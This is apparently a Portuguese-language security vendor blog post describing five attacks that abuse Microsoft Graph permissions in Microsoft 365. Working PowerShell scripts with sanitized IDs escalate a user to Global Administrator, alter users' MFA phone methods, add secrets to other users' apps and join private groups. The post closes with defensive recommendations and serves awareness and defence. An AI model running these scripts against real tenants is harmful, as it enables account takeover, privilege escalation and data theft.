Manipulando funções e permissões em ambiente Microsoft 365 via MS Graph
O Microsoft 365 é um conjunto de ferramentas de produtividade e colaboração baseadas em nuvem que inclui uma variedade de recursos de segurança para ajudar a proteger seus dados e dispositivos. Alguns desses recursos incluem uma vasta granularidade de funções, perfis de usuários e permissões.
Fazer a gestão de identidades, permissões e apis em ambiente nuvem não é tarefa fácil. Sem o devido conhecimento técnico e suporte de tecnologias especializadas, podemos enfrentar dificuldades para compreender e mensurar adequadamente os riscos. Listo aqui apenas dois motivos para que possamos refletir sobre a problemática:
- São mais de 300 permissões somente MS Graph disponíveis para uso em aplicativos, portanto é razoável pensar que muitos dos administradores de ambiente Microsoft 365 não conseguirão avaliar adequadamente todos os pedidos de concessão de acesso ‘as APIs.
- A documentação disponível pela Microsoft na maioria dos casos não deixa claro os riscos associados ao uso das permissões.
Nesse artigo traremos um caso concreto de como permissões, APis e identidades mal geridas podem trazer um enorme risco à um ambiente Microsoft 365.
É importante ressaltar que o uso mal intencionado de permissões pode indicar também persistência, atacantes podem fazer uso de tais recursos para continuar acessando o ambiente de forma privilegiada.
Funções e Permissões no Microsoft 365
No Microsoft 365, o Azure Active Directory usa o conceito de funções para distribuir privilégios aos usuários e aplicativos. Por exemplo, Administrador Global é uma função de diretório no Azure AD. As permissões da API do Microsoft 365 são um conjunto paralelo totalmente distinto de permissões que podem ser concedidas a entidades de serviço do Azure. Há alguma sobreposição entre as funções de diretório e as permissões das APIs, mas podemos pensar nelas como sistemas de privilégios paralelos.
A relação entre funções, permissões, usuários e aplicativos no diretório nem sempre permite ter clareza sobre os riscos aos quais estamos expondo nossos dados.
Cenário 1: Escalação de Privilégio
Este ataque permite que um usuário não privilegiado consiga garantir a si mesmo a função de Administrador Global de um ambiente Microsoft 365 e de maneira geral o sucesso do ataque está na possibilidade de uma solicitação de consentimento a permissão AppRoleAssignment.ReadWrite.All ser consentida.
Vejamos o que diz a documentação da Microsoft sobre a permissão AppRoleAssignment.ReadWrite.All.
“Permite que o aplicativo gerencie concessões de permissão para permissões de aplicativo para qualquer API (incluindo Microsoft Graph) e atribuições de aplicativo para qualquer aplicativo, em nome do usuário conectado.”
Para administradores menos informados essa permissão pode aparentar não trazer grande risco à organização. Adquirido o consentimento dessa permissão, o atacante pode criar então uma cadeia de permissões e garantir a si próprio acesso a RoleManagement.ReadWrite.Directory e finalmente ser um Administrador Global. A escalada de privilégio acontece sem que haja novas interações e consentimento dos administradores Microsoft 365.
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização.
Write-Output “Conectando ao Microsoft 365”
$AppID = “e0eb06a1-SANITIZADO”
$TenantID = “63ffdbd2-SANITIZADO”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)
Write-Output “Priv Esc User ID: f2342e98-SANITIZADO”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZADO”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO”
Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal
$UserContext = Get-AzContext *>&1
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
$body = @{
principalId = “4462edeb-SANITIZADO”
resourceId = “0bb31c9c-SANITIZADOf”
appRoleId = “9e3f62cf-SANITIZADO”
}
Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1
Write-Output “Aguardando…”
Start-Sleep -Seconds 60
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
$body = @{
“@odata.id”= “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO”
}
Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } `
-Uri ‘https://graph.microsoft.com/v1.0/directoryRoles/47c8403c-SANITIZADO/members/$ref’ `
-Method POST `
-Body $($body | ConvertTo-Json) `
-ContentType ‘application/json’ *>&1
Write-Output “Verifique se o usuário privesc é agora Global Admin”
Ao final da execução do exploit o atacante terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.
Cenário 2: Escalação de Privilégio
As políticas de consentimento do Microsoft 365 são funcionalidades comumente utilizadas por organizações com a finalidade de reduzir o fluxo de trabalho de aprovações e revisões de solicitações de permissões de acessos feitas por aplicativos. Esse tipo de política em geral está associada a alguma função no diretório e então associa-se usuários a esta dada função que podem consentir permissões de baixo risco sem a necessidade de aprovação.
Para que o ataque seja bem sucedido, o ator malicioso precisa:
- Obter consentimento para a permissão Policy.ReadWrite.PermissionGrant.
- Obter uma conta que possa usufruir de uma política de consentimento.
Vejamos como o ataque pode ser realizado:
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. A identificação de alguns GUID é próprio de cada organização. O código malicioso usa uma conta não privilegiada para manipular a política de consentimento my-custom-consent-policy e então escalar privilégio para Administrador Global. Note que nesse caso a conta não privilegiada do atacante pode utilizar a política de consentimento.
$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADOo’
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
Connect-Graph -AccessToken $Token.AccessToken
Invoke-GraphRequest `
-Method GET `
-Uri ‘/v1.0/policies/permissionGrantPolicies’ | ConvertTo-Json
$body = @{
permissionClassification = “all”
permissionType = “application”
resourceApplication = “00000003-0000-0000-c000-000000000000”
permissions = @(’06b708a9-e830-4db3-a914-8e69da51d44f’, ’84bccea3-f856-4a8a-967b-dbe0a3d53a64′, ‘9e3f62cf-SANITIZADO’)
clientApplicationIds = @(‘4462edeb-SANITIZADO’, ‘f2342e98-SANITIZADO’, ‘e0eb06a1-SANITIZADO’, ‘df021288-SANITIZADO’)
}
Invoke-GraphRequest -Method POST -Uri ‘/v1.0/policies/permissionGrantPolicies/my-custom-consent-policy/includes’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’
Write-Output “Conectando ao Microsoft 365”
$AppID = “e0eb06a1-SANITIZADO”
$TenantID = “63ffdbd2-SANITIZADO”
$AppPassword = ConvertTo-SecureString “jAt8Q~SANITIZADO” -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($AppID, $AppPassword)
Write-Output “Priv Esc User ID: f2342e98-SANITIZADO”
Write-Output “Priv Esc App ID: $AppID”
Write-Output “Service Principal ID: 4462edeb-SANITIZADO”
Write-Output “MS Graph Resource ID: 0bb31c9c-SANITIZADO”
Connect-AzAccount -Credential $psCred -TenantID $TenantID -ServicePrincipal
$UserContext = Get-AzContext *>&1
$resource = “https://graph.microsoft.com”
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
$UserContext.Account, `
$UserContext.Environment, `
$UserContext.Tenant.Id.ToString(), `
$null, `
[Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
$null, `
$resource).AccessToken
#Adicionando “RoleManagement.ReadWrite.Directory” para Priv Esc App
$body = @{
principalId = “4462edeb-SANITIZADO”
resourceId = “0bb31c9c-SANITIZADO”
appRoleId = “9e3f62cf-SANITIZADO”
}
Write-Output “Adicionando a permissao RoleManagement.ReadWrite.Directory para o Priv Esc App”
Invoke-RestMethod -Headers @{Authorization = “Bearer $($token)” } -Uri “https://graph.microsoft.com/v1.0/servicePrincipals/4462edeb-SANITIZADO/appRoleAssignedTo” -Method POST -Body $($body | ConvertTo-Json) -ContentType ‘application/json’ *>&1
Ao final da execução do exploit o atacante utilizará o exploit listado no Cenário 1 e terá capacidades ilimitadas no diretório, podendo controlar usuários, dados e recursos da organização.
Cenário 3: Roubo de Credenciais
Habilitar o múltiplo fator de autenticação para as contas de usuários do locatário Microsoft 365 é uma prática importante quando estamos falando de proteger credenciais de acesso. Por isso é importante mencionar que existem não apenas funções, mas também permissões que se consentidas a um ator malicioso podem ser usadas de maneira a facilitar o roubo de credenciais.O atacante poderá manipular, ou seja, adicionar e remover fatores de autenticação das contas de usuários, facilitando o roubo.
O exploit para executar esse ataque bem sucedido pode ser visto abaixo. Nesse código um aplicativo associado ao ator malicioso realiza operações de adicionar e remover um fator de autenticação do tipo Mobile em uma outra conta de usuário.
# This code will manipulate multifactor authentication method for users
# it will be able to add and/or remove a mobile phone number.
$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2–SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
Connect-Graph -AccessToken $Token.AccessToken
Invoke-GraphRequest `
-Method GET `
-Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/methods’ | ConvertTo-Json
$body = @{
phoneNumber = “+5561 999680000”
phoneType = “mobile”
}
Invoke-GraphRequest -Method POST -Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’
Invoke-GraphRequest `
-Method DELETE `
-Uri ‘/v1.0/users/f2342e98-SANITIZADO/authentication/phoneMethods/3179e48a-750b-4051-897c-87b9720928f7’
Ao final dessa execução uma determinada conta de usuário terá seu fator de autenticação Mobile modificado. Caso o atacante já tenha conhecimento prévio da senha do usuário, a conta poderá ser roubada.
Cenário 4: Movimentação lateral
Uma das formas que o adversário possui para se mover lateralmente no ambiente é através da obtenção de novas credenciais de acesso. Existem diversas formas de se obter tais credenciais, uma delas é abusando de determinadas permissões de aplicativos do Microsoft 365.
O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar um novo segredo a um aplicativo que não o pertence, possibilitando que possa ser usado para se mover no ambiente utilizando uma nova identificação.
$AppId = ‘e0eb06a1-SANITIZADO
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
Connect-Graph -AccessToken $Token.AccessToken
$body = @{
PasswordCredential = @{
DisplayName = “MyNewPasswordSuperSecret”
}
}
Invoke-GraphRequest -Method POST -Uri ‘/v1.0/applications/a988bf77-SANITIZADO/addPassword’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’
Ao final da execução, o atacante passará a ter permissão para se autenticar e movimentar no ambiente usando a nova credencial associada ao aplicativo “a988bf77-SANITIZADO”, cujo proprietário é outro usuário do diretório.
Cenário 5: Movimentação lateral
Outra forma de movimentação lateral reside na possibilidade de se infiltrar em grupos privados de usuários, obtendo informações e dados que possibilitam ao ator malicioso ganhar ainda mais espaço dentro do ambiente Microsoft 365.
O código para executar este ataque bem sucedido pode ser visto abaixo. Nele um aplicativo associado ao ator malicioso realiza uma operação para adicionar uma nova conta maliciosa a um grupo de usuários privados.
$AppId = ‘e0eb06a1-SANITIZADO’
$TenantId = ’63ffdbd2-SANITIZADO’
$ClientSecret = ‘jAt8Q~SANITIZADO’
$Token = Get-MsalToken -TenantId $TenantId -ClientId $AppId -ClientSecret ($ClientSecret | ConvertTo-SecureString -AsPlainText -Force)
Connect-Graph -AccessToken $Token.AccessToken
Invoke-GraphRequest `
-Method GET `
-Uri ‘/v1.0/groups’ | ConvertTo-Json
$body = @{
“@odata.id” = “https://graph.microsoft.com/v1.0/directoryObjects/f2342e98-SANITIZADO”
}
Invoke-GraphRequest -Method POST -Uri ‘/v1.0/groups/a417addd-SANITIZADO/members/$ref’ -Body $($body | ConvertTo-Json) -ContentType ‘application/json’
Ao final da execução, o atacante passará a ter permissão para acessar todos os dados sensíveis do grupo “a417addd-SANITIZADO” através da conta “f2342e98-SANITIZADO”.
Recomendações
É importante atualizar regularmente suas configurações de segurança e garantir que seus dispositivos e usuários estejam em conformidade com as políticas de segurança de sua organização. Monitore constantemente a postura de segurança do seu ambiente e de sua cadeia de suprimentos
- Procure por permissões que possam apresentar riscos.
- Se possível, não permita que usuários possam registrar aplicativos.
- Defina um processo para avaliar e consentir permissões dos aplicativos.
- Monitore quem são os usuários com privilégio de administrador.
- Monitore as políticas de consentimento da sua organização.
- Monitore e revise as credenciais de acesso ao ambiente
- Monitore e revise periodicamente os usuários que fazem parte de grupos privados
O Zanshin, plataforma SaaS da Tenchi Security, com sua capacidade de monitorar e avaliar a postura de segurança em ambientes de nuvem pode contribuir na identificação deste e de muitos outros riscos, entre em contato com nossos especialistas.
Crédito
Breno Silva
Referência
[1] Microsoft Graph permissions:
https://learn.microsoft.com/en-us/graph/permissions-reference